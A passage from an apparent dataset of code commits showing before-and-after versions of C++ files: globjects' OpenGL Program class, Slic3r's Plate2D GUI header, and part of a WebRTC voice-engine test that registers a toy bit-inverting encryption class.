i<uniformIndices.size(); ++i)\n        indices[i] = static_cast<GLuint>(uniformIndices[i]);\n    return getActiveUniforms(indices, pname);\n}\n\nGLint Program::getActiveUniform(const GLuint uniformIndex, const GLenum pname) const\n{\n    GLint result = 0;\n    getActiveUniforms(1, &uniformIndex, pname, &result);\n    return result;\n}\n\nstd::string Program::getActiveUniformName(const GLuint uniformIndex) const\n{\n    checkDirty();\n\n    GLint length = getActiveUniform(uniformIndex, GL_UNIFORM_NAME_LENGTH);\n    std::vector<char> name(length);\n    glGetActiveUniformName(id(), uniformIndex, length, nullptr, name.data());\n\n    return std::string(name.data(), length);\n}\n\nUniformBlock * Program::uniformBlock(const GLuint uniformBlockIndex)\n{\n    return getUniformBlockByIdentity(uniformBlockIndex);\n}\n\nUniformBlock * Program::uniformBlock(const std::string& name)\n{\n    return getUniformBlockByIdentity(name);\n}\n\nUniformBlock * Program::getUniformBlockByIdentity(const LocationIdentity & identity)\n{\n    checkDirty();\n\n    if (m_uniformBlocks.find(identity) == m_uniformBlocks.end())\n        m_uniformBlocks[identity] = UniformBlock(this, identity);\n\n    return &m_uniformBlocks[identity];\n}\n\nvoid Program::addUniform(AbstractUniform * uniform)\n{\n    assert(uniform != nullptr);\n\n    ref_ptr<AbstractUniform>& uniformReference = m_uniforms[uniform->identity()];\n\n\tif (uniformReference)\n\t\tuniformReference->deregisterProgram(this);\n\n\tuniformReference = uniform;\n\n\tuniform->registerProgram(this);\n\n\tif (m_linked)\n\t\tuniform->update(this);\n}\n\nvoid Program::updateUniforms() const\n{\n\t\/\/ Note: uniform update will check if program is linked\n    for (std::pair<LocationIdentity, ref_ptr<AbstractUniform>> uniformPair : m_uniforms)\n\t\tuniformPair.second->update(this);\n}\n\nvoid Program::updateUniformBlockBindings() const\n{\n    for (std::pair<LocationIdentity, UniformBlock> pair : m_uniformBlocks)\n        pair.second.updateBinding();\n}\n\nvoid Program::setBinary(ProgramBinary * binary)\n{\n    if (m_binary == binary)\n        return;\n\n    if (m_binary)\n        m_binary->deregisterListener(this);\n\n    m_binary = binary;\n\n    if (m_binary)\n        m_binary->registerListener(this);\n}\n\nProgramBinary * Program::getBinary() const\n{\n    return binaryImplementation().getProgramBinary(this);\n}\n\nGLint Program::get(const GLenum pname) const\n{\n    GLint value = 0;\n    glGetProgramiv(id(), pname, &value);\n\n\treturn value;\n}\n\nconst std::string Program::infoLog() const\n{\n    GLint length = get(GL_INFO_LOG_LENGTH);\n\n    if (length == 0)\n        return std::string();\n\n    std::vector<char> log(length);\n\n    glGetProgramInfoLog(id(), length, &length, log.data());\n\n\treturn std::string(log.data(), length);\n}\n\nvoid Program::dispatchCompute(const glm::uvec3 & numGroups)\n{\n    dispatchCompute(numGroups.x, numGroups.y, numGroups.z);\n}\n\nvoid Program::dispatchCompute(const GLuint numGroupsX, const GLuint numGroupsY, const GLuint numGroupsZ)\n{\n    use();\n\n    if (!m_linked)\n        return;\n\n    glDispatchCompute(numGroupsX, numGroupsY, numGroupsZ);\n}\n\nvoid Program::dispatchComputeGroupSize(const GLuint numGroupsX, const GLuint numGroupsY, const GLuint numGroupsZ, const GLuint groupSizeX, const GLuint groupSizeY, const GLuint groupSizeZ)\n{\n    use();\n\n    if (!m_linked)\n        return;\n\n    glDispatchComputeGroupSizeARB(numGroupsX, numGroupsY, numGroupsZ, groupSizeX, groupSizeY, groupSizeZ);\n}\n\nvoid Program::dispatchComputeGroupSize(const glm::uvec3 & numGroups, const glm::uvec3 & groupSizes)\n{\n    dispatchComputeGroupSize(numGroups.x, numGroups.y, numGroups.z, groupSizes.x, groupSizes.y, groupSizes.z);\n}\n\nvoid Program::setShaderStorageBlockBinding(const GLuint storageBlockIndex, const GLuint storageBlockBinding) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return;\n\n    glShaderStorageBlockBinding(id(), storageBlockIndex, storageBlockBinding);\n}\n\nGLenum Program::objectType() const\n{\n    return GL_PROGRAM;\n}\n\n} \/\/ namespace globjects\n<commit_msg>Program::getResourceName(): Early out if nameLength == 0, #267<commit_after>\n#include <globjects\/Program.h>\n\n#include <cassert>\n\n#include <glbinding\/gl\/functions.h>\n#include <glbinding\/gl\/extension.h>\n#include <glbinding\/gl\/boolean.h>\n#include <glbinding\/gl\/enum.h>\n\n#include <globjects\/globjects.h>\n\n#include <globjects\/Uniform.h>\n#include <globjects\/ObjectVisitor.h>\n#include <globjects\/ProgramBinary.h>\n#include <globjects\/Shader.h>\n#include <globjects\/AbstractUniform.h>\n\n#include \"Resource.h\"\n#include \"registry\/ImplementationRegistry.h\"\n#include \"implementations\/AbstractProgramBinaryImplementation.h\"\n\n\nusing namespace gl;\n\nnamespace\n{\n\nconst globjects::AbstractProgramBinaryImplementation & binaryImplementation()\n{\n    return globjects::ImplementationRegistry::current().programBinaryImplementation();\n}\n\n}\n\nnamespace globjects\n{\n\nvoid Program::hintBinaryImplementation(const BinaryImplementation impl)\n{\n    ImplementationRegistry::current().initialize(impl);\n}\n\n\nProgram::Program()\n: Object(new ProgramResource)\n, m_linked(false)\n, m_dirty(true)\n{\n}\n\nProgram::Program(ProgramBinary * binary)\n: Program()\n{\n    setBinary(binary);\n}\n\nProgram::~Program()\n{\n    for (std::pair<LocationIdentity, ref_ptr<AbstractUniform>> uniformPair : m_uniforms)\n        uniformPair.second->deregisterProgram(this);\n\n    if (0 == id())\n    {\n        for (auto & shader : m_shaders)\n            shader->deregisterListener(this);\n    }\n    else\n    {\n        for (ref_ptr<Shader> shader : std::set<ref_ptr<Shader>>(m_shaders))\n            detach(shader);\n    }\n}\n\nvoid Program::accept(ObjectVisitor & visitor)\n{\n\tvisitor.visitProgram(this);\n}\n\nvoid Program::use() const\n{\n\tcheckDirty();\n\n    if (!isLinked())\n        return;\n\n    glUseProgram(id());\n}\n\nvoid Program::release() const\n{\n    if (!isLinked())\n        return;\n\n    glUseProgram(0);\n}\n\nbool Program::isUsed() const\n{\n    GLuint currentProgram = static_cast<GLuint>(getInteger(GL_CURRENT_PROGRAM));\n\n    return currentProgram > 0 && currentProgram == id();\n}\n\nbool Program::isLinked() const\n{\n\treturn m_linked;\n}\n\nvoid Program::invalidate() const\n{\n\tm_dirty = true;\n}\n\nvoid Program::notifyChanged(const Changeable *)\n{\n\tinvalidate();\n}\n\nvoid Program::checkDirty() const\n{\n    if (m_dirty)\n        link();\n}\n\nvoid Program::attach(Shader * shader)\n{\n    assert(shader != nullptr);\n\n    gl::glAttachShader(id(), shader->id());\n\n    shader->registerListener(this);\n    m_shaders.insert(shader);\n\n    invalidate();\n}\n\nvoid Program::detach(Shader * shader)\n{\n    assert(shader != nullptr);\n\n    glDetachShader(id(), shader->id());\n\n\tshader->deregisterListener(this);\n\tm_shaders.erase(shader);\n\n\tinvalidate();\n}\n\nstd::set<Shader *> Program::shaders() const\n{\n\tstd::set<Shader *> shaders;\n    for (ref_ptr<Shader> shader: m_shaders)\n\t\tshaders.insert(shader);\n\treturn shaders;\n}\n\nvoid Program::link() const\n{\n    m_linked = false;\n\n    if (!binaryImplementation().updateProgramLinkSource(this))\n        return;\n\n    glLinkProgram(id());\n\n    m_linked = checkLinkStatus();\n\tm_dirty = false;\n\n    updateUniforms();\n    updateUniformBlockBindings();\n}\n\nbool Program::compileAttachedShaders() const\n{\n    for (Shader * shader : shaders())\n    {\n        if (shader->isCompiled())\n            continue;\n\n        \/\/ Some drivers (e.g. nvidia-331 on Ubuntu 13.04 automatically compile shaders during program linkage)\n        \/\/ but we don't want to depend on such behavior\n        shader->compile();\n\n        if (!shader->isCompiled())\n            return false;\n    }\n    return true;\n}\n\nbool Program::checkLinkStatus() const\n{\n    if (GL_FALSE == static_cast<GLboolean>(get(GL_LINK_STATUS)))\n    {\n        critical() << \"Linker error:\" << std::endl << infoLog();\n        return false;\n    }\n    return true;\n}\n\nvoid Program::bindFragDataLocation(const GLuint index, const std::string & name) const\n{\n    glBindFragDataLocation(id(), index, name.c_str());\n}\n\nvoid Program::bindAttributeLocation(const GLuint index, const std::string & name) const\n{\n    glBindAttribLocation(id(), index, name.c_str());\n}\n\nGLint Program::getFragDataLocation(const std::string & name) const\n{\n    return glGetFragDataLocation(id(), name.c_str());\n}\n\nGLint Program::getFragDataIndex(const std::string & name) const\n{\n    return glGetFragDataIndex(id(), name.c_str());\n}\n\nGLint Program::getUniformLocation(const std::string& name) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return -1;\n\n    return glGetUniformLocation(id(), name.c_str());\n}\n\nstd::vector<GLint> Program::getAttributeLocations(const std::vector<std::string> & names) const\n{\n    std::vector<GLint> locations(names.size());\n    for (unsigned i = 0; i<names.size(); ++i)\n    {\n        locations[i] = getAttributeLocation(names[i]);\n    }\n    return locations;\n}\n\nstd::vector<GLint> Program::getUniformLocations(const std::vector<std::string> & names) const\n{\n    std::vector<GLint> locations(names.size());\n    for (unsigned i = 0; i<names.size(); ++i)\n    {\n        locations[i] = getUniformLocation(names[i]);\n    }\n    return locations;\n}\n\nGLint Program::getAttributeLocation(const std::string & name) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return -1;\n\n    return glGetAttribLocation(id(), name.c_str());\n}\n\nvoid Program::getInterface(gl::GLenum programInterface, gl::GLenum pname, gl::GLint * params) const\n{\n    checkDirty();\n\n    glGetProgramInterfaceiv(id(), programInterface, pname, params);\n}\n\nGLuint Program::getResourceIndex(const GLenum programInterface, const std::string & name) const\n{\n    checkDirty();\n\n    return glGetProgramResourceIndex(id(), programInterface, name.data());\n}\n\nvoid Program::getResourceName(gl::GLenum programInterface, gl::GLuint index, gl::GLsizei bufSize, gl::GLsizei * length, char * name)\n{\n    checkDirty();\n\n    glGetProgramResourceName(id(), programInterface, index, bufSize, length, name);\n}\n\nvoid Program::getResource(gl::GLenum programInterface, gl::GLuint index, gl::GLsizei propCount, const gl::GLenum * props, gl::GLsizei bufSize, gl::GLsizei * length, gl::GLint * params)\n{\n    checkDirty();\n\n    glGetProgramResourceiv(id(), programInterface, index, propCount, props, bufSize, length, params);\n}\n\ngl::GLint Program::getResourceLocation(gl::GLenum programInterface, const std::string & name)\n{\n    checkDirty();\n\n    return glGetProgramResourceLocation(id(), programInterface, name.data());\n}\n\ngl::GLint Program::getResourceLocationIndex(gl::GLenum programInterface, const std::string & name)\n{\n    checkDirty();\n\n    return glGetProgramResourceLocationIndex(id(), programInterface, name.data());\n}\n\ngl::GLint Program::getResource(gl::GLenum programInterface, gl::GLuint index, gl::GLenum prop, gl::GLsizei * length)\n{\n    gl::GLint result;\n\n    getResource(programInterface, index, 1, &prop, 1, length, &result);\n\n    return result;\n}\n\nstd::vector<gl::GLint> Program::getResource(gl::GLenum programInterface, gl::GLuint index, const std::vector<gl::GLenum> & props, gl::GLsizei * length)\n{\n    std::vector<gl::GLint> result;\n    result.resize(props.size());\n\n    getResource(programInterface, index, props, result.size(), length, result.data());\n\n    return result;\n}\n\nvoid Program::getResource(gl::GLenum programInterface, gl::GLuint index, const std::vector<gl::GLenum> & props, gl::GLsizei bufSize, gl::GLsizei * length, gl::GLint * params)\n{\n    getResource(programInterface, index, props.size(), props.data(), bufSize, length, params);\n}\n\nstd::string Program::getResourceName(gl::GLenum programInterface, gl::GLuint index)\n{\n    std::vector<char> result;\n\n    size_t nameLength = getResource(programInterface, index, gl::GL_NAME_LENGTH);\n\n    if (nameLength == 0)\n        return std::string();\n\n    result.resize(nameLength + 1);\n\n#ifndef NDEBUG\n    gl::GLint length;\n    getResourceName(programInterface, index, nameLength, &length, result.data());\n    assert(length + 1 == static_cast<gl::GLint>(nameLength)); \/\/ length does NOT include the null-terminator\n#else\n    getResourceName(programInterface, index, nameLength, NULL, result.data());\n#endif\n\n    return std::string(result.data(), nameLength);\n}\n\nGLuint Program::getUniformBlockIndex(const std::string & name) const\n{\n    checkDirty();\n\n    return glGetUniformBlockIndex(id(), name.c_str());\n}\n\nvoid Program::getActiveUniforms(const GLsizei uniformCount, const GLuint * uniformIndices, const GLenum pname, GLint * params) const\n{\n    checkDirty();\n\n    glGetActiveUniformsiv(id(), uniformCount, uniformIndices, pname, params);\n}\n\nstd::vector<GLint> Program::getActiveUniforms(const std::vector<GLuint> & uniformIndices, const GLenum pname) const\n{\n    std::vector<GLint> result(uniformIndices.size());\n    getActiveUniforms(static_cast<GLint>(uniformIndices.size()), uniformIndices.data(), pname, result.data());\n    return result;\n}\n\nstd::vector<GLint> Program::getActiveUniforms(const std::vector<GLint> & uniformIndices, const GLenum pname) const\n{\n    std::vector<GLuint> indices(uniformIndices.size());\n    for (unsigned i=0; i<uniformIndices.size(); ++i)\n        indices[i] = static_cast<GLuint>(uniformIndices[i]);\n    return getActiveUniforms(indices, pname);\n}\n\nGLint Program::getActiveUniform(const GLuint uniformIndex, const GLenum pname) const\n{\n    GLint result = 0;\n    getActiveUniforms(1, &uniformIndex, pname, &result);\n    return result;\n}\n\nstd::string Program::getActiveUniformName(const GLuint uniformIndex) const\n{\n    checkDirty();\n\n    GLint length = getActiveUniform(uniformIndex, GL_UNIFORM_NAME_LENGTH);\n    std::vector<char> name(length);\n    glGetActiveUniformName(id(), uniformIndex, length, nullptr, name.data());\n\n    return std::string(name.data(), length);\n}\n\nUniformBlock * Program::uniformBlock(const GLuint uniformBlockIndex)\n{\n    return getUniformBlockByIdentity(uniformBlockIndex);\n}\n\nUniformBlock * Program::uniformBlock(const std::string& name)\n{\n    return getUniformBlockByIdentity(name);\n}\n\nUniformBlock * Program::getUniformBlockByIdentity(const LocationIdentity & identity)\n{\n    checkDirty();\n\n    if (m_uniformBlocks.find(identity) == m_uniformBlocks.end())\n        m_uniformBlocks[identity] = UniformBlock(this, identity);\n\n    return &m_uniformBlocks[identity];\n}\n\nvoid Program::addUniform(AbstractUniform * uniform)\n{\n    assert(uniform != nullptr);\n\n    ref_ptr<AbstractUniform>& uniformReference = m_uniforms[uniform->identity()];\n\n\tif (uniformReference)\n\t\tuniformReference->deregisterProgram(this);\n\n\tuniformReference = uniform;\n\n\tuniform->registerProgram(this);\n\n\tif (m_linked)\n\t\tuniform->update(this);\n}\n\nvoid Program::updateUniforms() const\n{\n\t\/\/ Note: uniform update will check if program is linked\n    for (std::pair<LocationIdentity, ref_ptr<AbstractUniform>> uniformPair : m_uniforms)\n\t\tuniformPair.second->update(this);\n}\n\nvoid Program::updateUniformBlockBindings() const\n{\n    for (std::pair<LocationIdentity, UniformBlock> pair : m_uniformBlocks)\n        pair.second.updateBinding();\n}\n\nvoid Program::setBinary(ProgramBinary * binary)\n{\n    if (m_binary == binary)\n        return;\n\n    if (m_binary)\n        m_binary->deregisterListener(this);\n\n    m_binary = binary;\n\n    if (m_binary)\n        m_binary->registerListener(this);\n}\n\nProgramBinary * Program::getBinary() const\n{\n    return binaryImplementation().getProgramBinary(this);\n}\n\nGLint Program::get(const GLenum pname) const\n{\n    GLint value = 0;\n    glGetProgramiv(id(), pname, &value);\n\n\treturn value;\n}\n\nconst std::string Program::infoLog() const\n{\n    GLint length = get(GL_INFO_LOG_LENGTH);\n\n    if (length == 0)\n        return std::string();\n\n    std::vector<char> log(length);\n\n    glGetProgramInfoLog(id(), length, &length, log.data());\n\n\treturn std::string(log.data(), length);\n}\n\nvoid Program::dispatchCompute(const glm::uvec3 & numGroups)\n{\n    dispatchCompute(numGroups.x, numGroups.y, numGroups.z);\n}\n\nvoid Program::dispatchCompute(const GLuint numGroupsX, const GLuint numGroupsY, const GLuint numGroupsZ)\n{\n    use();\n\n    if (!m_linked)\n        return;\n\n    glDispatchCompute(numGroupsX, numGroupsY, numGroupsZ);\n}\n\nvoid Program::dispatchComputeGroupSize(const GLuint numGroupsX, const GLuint numGroupsY, const GLuint numGroupsZ, const GLuint groupSizeX, const GLuint groupSizeY, const GLuint groupSizeZ)\n{\n    use();\n\n    if (!m_linked)\n        return;\n\n    glDispatchComputeGroupSizeARB(numGroupsX, numGroupsY, numGroupsZ, groupSizeX, groupSizeY, groupSizeZ);\n}\n\nvoid Program::dispatchComputeGroupSize(const glm::uvec3 & numGroups, const glm::uvec3 & groupSizes)\n{\n    dispatchComputeGroupSize(numGroups.x, numGroups.y, numGroups.z, groupSizes.x, groupSizes.y, groupSizes.z);\n}\n\nvoid Program::setShaderStorageBlockBinding(const GLuint storageBlockIndex, const GLuint storageBlockBinding) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return;\n\n    glShaderStorageBlockBinding(id(), storageBlockIndex, storageBlockBinding);\n}\n\nGLenum Program::objectType() const\n{\n    return GL_PROGRAM;\n}\n\n} \/\/ namespace globjects\n<|endoftext|>"}
{"text":"<commit_before>#ifndef PLATE2D_HPP\n#define PLATE2D_HPP\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n    #include <wx\/wx.h>\n#endif\n#include <wx\/datetime.h>\n\n#include <vector>\n#include <functional>\n#include \"Plater.hpp\"\n#include \"ColorScheme.hpp\"\n#include \"Settings.hpp\"\n#include \"Plater\/PlaterObject.hpp\"\n#include \"misc_ui.hpp\"\n\n#include \"Log.hpp\"\n\n\nnamespace Slic3r { namespace GUI {\n\n\n\/\/ Setup for an Easter Egg with the canvas text.\nconst wxDateTime today_date {wxDateTime().GetDateOnly()}; \nconst wxDateTime special_date {13, wxDateTime::Month::Sep, 2006, 0, 0, 0, 0};\nconst bool today_is_special = {today_date.GetDay() == special_date.GetDay() && today_date.GetMonth() == special_date.GetMonth()};\n\nenum class MoveDirection {\n    Up, Down, Left, Right\n};\n\nclass Plate2D : public wxPanel {\npublic:\n    Plate2D(wxWindow* parent, const wxSize& size, std::vector<PlaterObject>& _objects, std::shared_ptr<Model> _model, std::shared_ptr<Config> _config, std::shared_ptr<Settings> _settings);\n\n\n\/\/    std::function<> on_select_object {};\nprivate:\n    std::vector<PlaterObject>& objects; \/\/< reference to parent vector\n    std::shared_ptr<Slic3r::Model> model;\n    std::shared_ptr<Slic3r::Config> config;\n    std::shared_ptr<Settings> settings;\n\n    \/\/ Different brushes to draw with, initialized from settings->Color during the constructor\n    wxBrush objects_brush {};\n    wxBrush instance_brush {};\n    wxBrush selected_brush {};\n    wxBrush bed_brush {};\n    wxBrush dragged_brush {};\n    wxBrush transparent_brush {};\n\n    wxPen grid_pen {};\n    wxPen print_center_pen {};\n    wxPen clearance_pen {};\n    wxPen skirt_pen {};\n    wxPen dark_pen {};\n\n    bool user_drawn_background {(the_os == OS::Mac ? false : true)};\n    size_t selected_instance;\n\n    \/\/\/ Handle mouse-move events\n    void mouse_drag(wxMouseEvent& e);\n    void mouse_down(wxMouseEvent& e);\n    void mouse_up(wxMouseEvent& e);\n    void mouse_dclick(wxMouseEvent& e);\n\n    \/\/\/ Handle repaint events\n    void repaint(wxPaintEvent& e);\n\n    void nudge_key(wxKeyEvent& e);\n\n    void nudge(MoveDirection dir);\n\n    \/\/\/ Set\/Update all of the colors used by the various brushes in the panel.\n    void set_colors();\n\n    \/\/\/ Convert a scale point array to a pixel polygon suitable for DrawPolygon\n    std::vector<wxPoint> scaled_points_to_pixel(const Slic3r::Polygon& poly, bool unscale);\n    std::vector<wxPoint> scaled_points_to_pixel(const Slic3r::Polyline& poly, bool unscale);\n\n    \/\/\/ For a specific point, unscale it relative to the origin\n    wxPoint unscaled_point_to_pixel(const wxPoint& in);\n\n    \/\/\/ Read print bed size from config and calculate the scaled rendition of the bed given the draw canvas.\n    void update_bed_size();\n\n    \/\/\/ private class variables to stash bits for drawing the print bed area.\n    wxRealPoint bed_origin {};\n    wxRealPoint print_center {};\n    Slic3r::Polygon bed_polygon {};\n    std::vector<wxPoint> grid {};\n\n    \/\/\/ Set up the 2D canvas blank canvas text. \n    \/\/\/ Easter egg: Sept. 13, 2006. The first part ever printed by a RepRap to make another RepRap.\n    const wxString CANVAS_TEXT { today_is_special ? _(L\"What do you want to print today?™\") : _(\"Drag your objects here\") };\n\n    \/\/\/ How much to scale the points to fit in the draw bounding box area.\n    \/\/\/ Expressed as pixel \/ mm\n    double scaling_factor {1.0};\n    \n    const std::string LogChannel {\"GUI_2D\"};\n\n    Slic3r::Point point_to_model_units(coordf_t x, coordf_t y) {\n        const auto& zero {this->bed_origin};\n        return Slic3r::Point(\n            scale_(x - zero.x) \/ this->scaling_factor,\n            scale_(y - zero.y) \/ this->scaling_factor\n        );\n    }\n    Slic3r::Point point_to_model_units(const wxPoint& pt) {\n        return this->point_to_model_units(pt.x, pt.y);\n    }\n    Slic3r::Point point_to_model_units(const Pointf& pt) {\n        return this->point_to_model_units(pt.x, pt.y);\n    }\n\n    \/\/\/ Remove all instance thumbnails.\n    void clean_instance_thumbnails();\n\n};\n\n} } \/\/ Namespace Slic3r::GUI\n#endif \/\/ PLATE2D_HPP\n<commit_msg>Make update_bed_size() public.<commit_after>#ifndef PLATE2D_HPP\n#define PLATE2D_HPP\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n    #include <wx\/wx.h>\n#endif\n#include <wx\/datetime.h>\n\n#include <vector>\n#include <functional>\n#include \"Plater.hpp\"\n#include \"ColorScheme.hpp\"\n#include \"Settings.hpp\"\n#include \"Plater\/PlaterObject.hpp\"\n#include \"misc_ui.hpp\"\n\n#include \"Log.hpp\"\n\n\nnamespace Slic3r { namespace GUI {\n\n\n\/\/ Setup for an Easter Egg with the canvas text.\nconst wxDateTime today_date {wxDateTime().GetDateOnly()}; \nconst wxDateTime special_date {13, wxDateTime::Month::Sep, 2006, 0, 0, 0, 0};\nconst bool today_is_special = {today_date.GetDay() == special_date.GetDay() && today_date.GetMonth() == special_date.GetMonth()};\n\nenum class MoveDirection {\n    Up, Down, Left, Right\n};\n\nclass Plate2D : public wxPanel {\npublic:\n    Plate2D(wxWindow* parent, const wxSize& size, std::vector<PlaterObject>& _objects, std::shared_ptr<Model> _model, std::shared_ptr<Config> _config, std::shared_ptr<Settings> _settings);\n\n\n    \/\/\/ Read print bed size from config and calculate the scaled rendition of the bed given the draw canvas.\n    void update_bed_size();\n\/\/    std::function<> on_select_object {};\nprivate:\n    std::vector<PlaterObject>& objects; \/\/< reference to parent vector\n    std::shared_ptr<Slic3r::Model> model;\n    std::shared_ptr<Slic3r::Config> config;\n    std::shared_ptr<Settings> settings;\n\n    \/\/ Different brushes to draw with, initialized from settings->Color during the constructor\n    wxBrush objects_brush {};\n    wxBrush instance_brush {};\n    wxBrush selected_brush {};\n    wxBrush bed_brush {};\n    wxBrush dragged_brush {};\n    wxBrush transparent_brush {};\n\n    wxPen grid_pen {};\n    wxPen print_center_pen {};\n    wxPen clearance_pen {};\n    wxPen skirt_pen {};\n    wxPen dark_pen {};\n\n    bool user_drawn_background {(the_os == OS::Mac ? false : true)};\n    size_t selected_instance;\n\n    \/\/\/ Handle mouse-move events\n    void mouse_drag(wxMouseEvent& e);\n    void mouse_down(wxMouseEvent& e);\n    void mouse_up(wxMouseEvent& e);\n    void mouse_dclick(wxMouseEvent& e);\n\n    \/\/\/ Handle repaint events\n    void repaint(wxPaintEvent& e);\n\n    void nudge_key(wxKeyEvent& e);\n\n    void nudge(MoveDirection dir);\n\n    \/\/\/ Set\/Update all of the colors used by the various brushes in the panel.\n    void set_colors();\n\n    \/\/\/ Convert a scale point array to a pixel polygon suitable for DrawPolygon\n    std::vector<wxPoint> scaled_points_to_pixel(const Slic3r::Polygon& poly, bool unscale);\n    std::vector<wxPoint> scaled_points_to_pixel(const Slic3r::Polyline& poly, bool unscale);\n\n    \/\/\/ For a specific point, unscale it relative to the origin\n    wxPoint unscaled_point_to_pixel(const wxPoint& in);\n\n\n    \/\/\/ private class variables to stash bits for drawing the print bed area.\n    wxRealPoint bed_origin {};\n    wxRealPoint print_center {};\n    Slic3r::Polygon bed_polygon {};\n    std::vector<wxPoint> grid {};\n\n    \/\/\/ Set up the 2D canvas blank canvas text. \n    \/\/\/ Easter egg: Sept. 13, 2006. The first part ever printed by a RepRap to make another RepRap.\n    const wxString CANVAS_TEXT { today_is_special ? _(L\"What do you want to print today?™\") : _(\"Drag your objects here\") };\n\n    \/\/\/ How much to scale the points to fit in the draw bounding box area.\n    \/\/\/ Expressed as pixel \/ mm\n    double scaling_factor {1.0};\n    \n    const std::string LogChannel {\"GUI_2D\"};\n\n    Slic3r::Point point_to_model_units(coordf_t x, coordf_t y) {\n        const auto& zero {this->bed_origin};\n        return Slic3r::Point(\n            scale_(x - zero.x) \/ this->scaling_factor,\n            scale_(y - zero.y) \/ this->scaling_factor\n        );\n    }\n    Slic3r::Point point_to_model_units(const wxPoint& pt) {\n        return this->point_to_model_units(pt.x, pt.y);\n    }\n    Slic3r::Point point_to_model_units(const Pointf& pt) {\n        return this->point_to_model_units(pt.x, pt.y);\n    }\n\n    \/\/\/ Remove all instance thumbnails.\n    void clean_instance_thumbnails();\n\n};\n\n} } \/\/ Namespace Slic3r::GUI\n#endif \/\/ PLATE2D_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"voice_engine\/include\/voe_encryption.h\"\n#include \"voice_engine\/test\/auto_test\/fixtures\/after_streaming_fixture.h\"\n\nclass BasicBitInverseEncryption : public webrtc::Encryption {\n  void encrypt(int channel_no, unsigned char* in_data,\n               unsigned char* out_data, int bytes_in, int* bytes_out);\n  void decrypt(int channel_no, unsigned char* in_data,\n               unsigned char* out_data, int bytes_in, int* bytes_out);\n  void encrypt_rtcp(int channel_no, unsigned char* in_data,\n                    unsigned char* out_data, int bytes_in, int* bytes_out);\n  void decrypt_rtcp(int channel_no, unsigned char* in_data,\n                    unsigned char* out_data, int bytes_in, int* bytes_out);\n};\n\nvoid BasicBitInverseEncryption::encrypt(int, unsigned char* in_data,\n                                        unsigned char* out_data,\n                                        int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\nvoid BasicBitInverseEncryption::decrypt(int, unsigned char* in_data,\n                                        unsigned char* out_data,\n                                        int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  *bytes_out = bytes_in - 2;\n}\n\nvoid BasicBitInverseEncryption::encrypt_rtcp(int, unsigned char* in_data,\n                                             unsigned char* out_data,\n                                             int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\nvoid BasicBitInverseEncryption::decrypt_rtcp(int, unsigned char* in_data,\n                                             unsigned char* out_data,\n                                             int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\n\nclass EncryptionTest : public AfterStreamingFixture {\n};\n\nTEST_F(EncryptionTest, ManualBasicCorrectExternalEncryptionHasNoEffectOnVoice) {\n  BasicBitInverseEncryption basic_encryption;\n\n  voe_encrypt_->RegisterExternalEncryption(channel_, basic_encryption);\n\n  TEST_LOG(\"Registered external encryption, should still hear good audio.\");\n  Sleep(3000);\n\n  voe_encrypt_->DeRegisterExternalEncryption(channel_);\n}\n<commit_msg>Added last (?) suppressions for known issues.<commit_after>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"voice_engine\/include\/voe_encryption.h\"\n#include \"voice_engine\/test\/auto_test\/fixtures\/after_streaming_fixture.h\"\n\nclass BasicBitInverseEncryption : public webrtc::Encryption {\n  void encrypt(int channel_no, unsigned char* in_data,\n               unsigned char* out_data, int bytes_in, int* bytes_out);\n  void decrypt(int channel_no, unsigned char* in_data,\n               unsigned char* out_data, int bytes_in, int* bytes_out);\n  void encrypt_rtcp(int channel_no, unsigned char* in_data,\n                    unsigned char* out_data, int bytes_in, int* bytes_out);\n  void decrypt_rtcp(int channel_no, unsigned char* in_data,\n                    unsigned char* out_data, int bytes_in, int* bytes_out);\n};\n\nvoid BasicBitInverseEncryption::encrypt(int, unsigned char* in_data,\n                                        unsigned char* out_data,\n                                        int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\nvoid BasicBitInverseEncryption::decrypt(int, unsigned char* in_data,\n                                        unsigned char* out_data,\n                                        int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  *bytes_out = bytes_in - 2;\n}\n\nvoid BasicBitInverseEncryption::encrypt_rtcp(int, unsigned char* in_data,\n                                             unsigned char* out_data,\n                                             int bytes_in, int* bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\nvoid BasicBitInverseEncryption::decrypt_rtcp(int, unsigned char* in_data,\n                                             unsigned char* out_data,\n                                             int bytes_in, int* 